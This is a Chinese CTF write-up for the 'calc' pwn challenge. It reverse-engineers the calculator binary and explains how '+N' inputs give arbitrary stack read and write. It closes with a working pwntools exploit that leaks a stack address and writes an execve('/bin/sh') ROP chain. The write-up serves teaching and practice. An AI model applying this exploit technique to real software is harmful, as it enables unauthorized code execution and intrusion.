折腾了两三天。。wtcl
程序分析
查看保护,没开PIE。

且程序是一个静态链接文件:

大致功能是一个计算器,

逆向分析:main函数如下
1 2 3 4 5 6 7 8 9
| int __cdecl main(int argc, const char **argv, const char **envp) { ssignal(14, timeout); alarm('<'); puts("=== Welcome to SECPROG calculator ==="); fflush(stdout); calc(); return puts("Merry Christmas!"); }
|
主要功能都在calc()
, 申请input和result
分别用于存储输入和运算结果,且每一次循环时两个数组元素都会清零. calc
中get_expr
和parse_expr
分别处理输入和解析运算逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned int calc() { int result[101]; char input[1024]; unsigned int v3;
v3 = __readgsdword(0x14u); while ( 1 ) { bzero(input, 02000u); if ( !get_expr(input, 1024) ) break; init_pool(result); if ( parse_expr(input, result) ) { printf("%d\n", result[result[0]]); fflush(stdout); } } return __readgsdword(0x14u) ^ v3; }
|
get_expr
为输入函数, 程序对输入进行了过滤, 只会接受\+ - * / % 0-9
. 输入处并无漏洞.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl get_expr(int a1, int a2) { int j; char c; int i;
i = 0; while ( i < a2 && read(0, &c, 1) != -1 && c != '\n' ) { if ( c == '+' || c == '-' || c == '*' || c == '/' || c == '%' || c > '/' && c <= '9' ) { j = i++; *(a1 + j) = c; } } *(i + a1) = 0; return i; }
|
parse_expr
为解析和运算函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| int __cdecl parse_expr(int input, _DWORD *result) { int len2; int input_; int i; int count_of_op; int len; char *num1; int value; char operators[100]; unsigned int v11;
v11 = __readgsdword(0x14u); input_ = input; count_of_op = 0; bzero(operators, 0144u); for ( i = 0; ; ++i ) { if ( (*(i + input) - 48) > 9 ) { len = i + input - input_; num1 = malloc(len + 1); memcpy(num1, input_, len); num1[len] = 0; if ( !strcmp(num1, "0") ) { puts("prevent division by zero"); fflush(stdout); return 0; } value = atoi(num1); if ( value > 0 ) { len2 = (*result)++; result[len2 + 1] = value; } if ( *(i + input) && (*(i + 1 + input) - 48) > 9 ) { puts("expression error!"); fflush(stdout); return 0; } input_ = i + 1 + input; if ( operators[count_of_op] ) { switch ( *(i + input) ) { case '%': case '*': case '/': if ( operators[count_of_op] != '+' && operators[count_of_op] != '-' ) goto LABEL_14; operators[++count_of_op] = *(i + input); break; case '+': case '-': LABEL_14: eval(result, operators[count_of_op]); operators[count_of_op] = *(i + input); break; default: eval(result, operators[count_of_op--]); break; } } else { operators[count_of_op] = *(i + input); } if ( !*(i + input) ) break; } } while ( count_of_op >= 0 ) eval(result, operators[count_of_op--]); return 1; }
|
大致逻辑是依次读取输入,识别数字和字符,然后进行运算,运算过程中考虑优先级.其中result[0]
为读取到的数字个数.result[1]
开始才是参与运算的数字.
同时程序也进行了一些检查,如100+
和1/0

eval
函数为运算函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| _DWORD *__cdecl eval(_DWORD *num, char expr) { _DWORD *result; // eax
if ( expr == '+' ) { num[*num - 1] += num[*num]; // num[0] = num[0] + num[1] 任意读 } else if ( expr > '+' ) { if ( expr == '-' ) { num[*num - 1] -= num[*num]; // num[0] = num[0] - num[1] } else if ( expr == '/' ) { num[*num - 1] /= num[*num]; } } else if ( expr == '*' ) { num[*num - 1] *= num[*num]; } result = num; --*num; return result; }
|
以上为程序的大致逻辑分析.
漏洞分析
本题漏洞点比较难找.漏洞在于对+num
格式运算的处理,如输入+100
就会输出异常:

分析:
当输入+100
时,运算:
eval
函数中会进入+
运算的分支: num[*num - 1] += num[*num];

即: num[0] = num[0] + num[1] = 1 + num[1]
又因为输出时,--num
所以eval
返回时num[0] == num[1] == 100
而输出时会输出.result[result[0]]
即 result[num[1]] => result[100]

-100
同理.
当输入如+300+100
时可任意写:
1 2 3 4
| +300+100 -> num[0] = num[1] = 300 -> num[*num - 1] += num[*num] -> num[300] = num[300] + 100 # 任意写
|
所以可以构造ROPChain覆盖返回地址劫持程序运行.
exp编写
- ROP链:
直接进行系统调用执行命令即可, execve系统调用:
1 2 3 4 5
| eax = 0xb ebx = '/bin/sh' ecx = 0x0 edx = 0x0 int 80
|
ROP:
1 2 3 4 5 6 7 8 9 10 11 12
| pop_eax_ret = 0x0805c34b pop_edx_ecx_ebx = 0x080701d0 int_80 = 0x08049a21
stack: 0x080701d0 ; pop_edx_ecx_ebx 0 ; edx 0 ; ecx bin_sh ; /bin/sh 0x0805c34b ; pop_eax_ret 0xb ; eax 0x08049a21 ; int_80
|
这里由于没有/bin/sh
字符串所以我们需要把字符串写进栈里.
虽然
- 泄露栈地址:
需要泄露栈的地址,这样才能在ROP链中填写写入的/bin/sh
的地址. 这里通过泄露main函数的ebp的地址来泄露栈地址: 计算和调试过程省略了, 需要注意的是360 = 1440/4
. 泄露栈地址之后可以计算出result数组的地址.
1 2 3 4 5 6 7 8
| io.recvline()
io.sendline(b'+360') main_ebp = int(io.recvline().strip()) if main_ebp < 0: main_ebp = 0xffffffff+main_ebp+1 print(f"[+] main ebp => {hex(main_ebp)}") result_address = main_ebp - (0xffffd4f8 - 0xffffcf38)
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * context.log_level = 'debug'
io = process('./calc')
pause()
pop_eax_ret = 0x0805c34b pop_edx_ecx_ebx = 0x080701d0 int_80 = 0x08049a21
io.recvline()
io.sendline(b'+360') main_ebp = int(io.recvline().strip()) if main_ebp < 0: main_ebp = 0xffffffff+main_ebp+1
print(f"[+] main ebp => {hex(main_ebp)}") result_address = main_ebp - (0xffffd4f8 - 0xffffcf38)
def send(location,rop): if rop&0x80000000 == 0x80000000: rop = rop-0xffffffff-1 io.sendline(f"+{location}".encode()) r = int(io.recvline().strip()) if rop - r > 0: io.sendline(f"+{location}+{(rop-r)}".encode()) io.recvline() elif rop - r < 0: io.sendline(f"+{location}-{(r-rop)}".encode()) io.recvline()
send(370,int.from_bytes(b'/bin',byteorder='little')) send(371,int.from_bytes(b'/sh\0',byteorder='little')) bin_sh = result_address + 370*4
print(f"/bin/sh address => {hex(bin_sh)}")
send(361,pop_edx_ecx_ebx) send(362,0) send(363,0) pause() send(364,bin_sh) send(365,pop_eax_ret) send(366,0xb) send(367,int_80) io.sendline() io.interactive()
|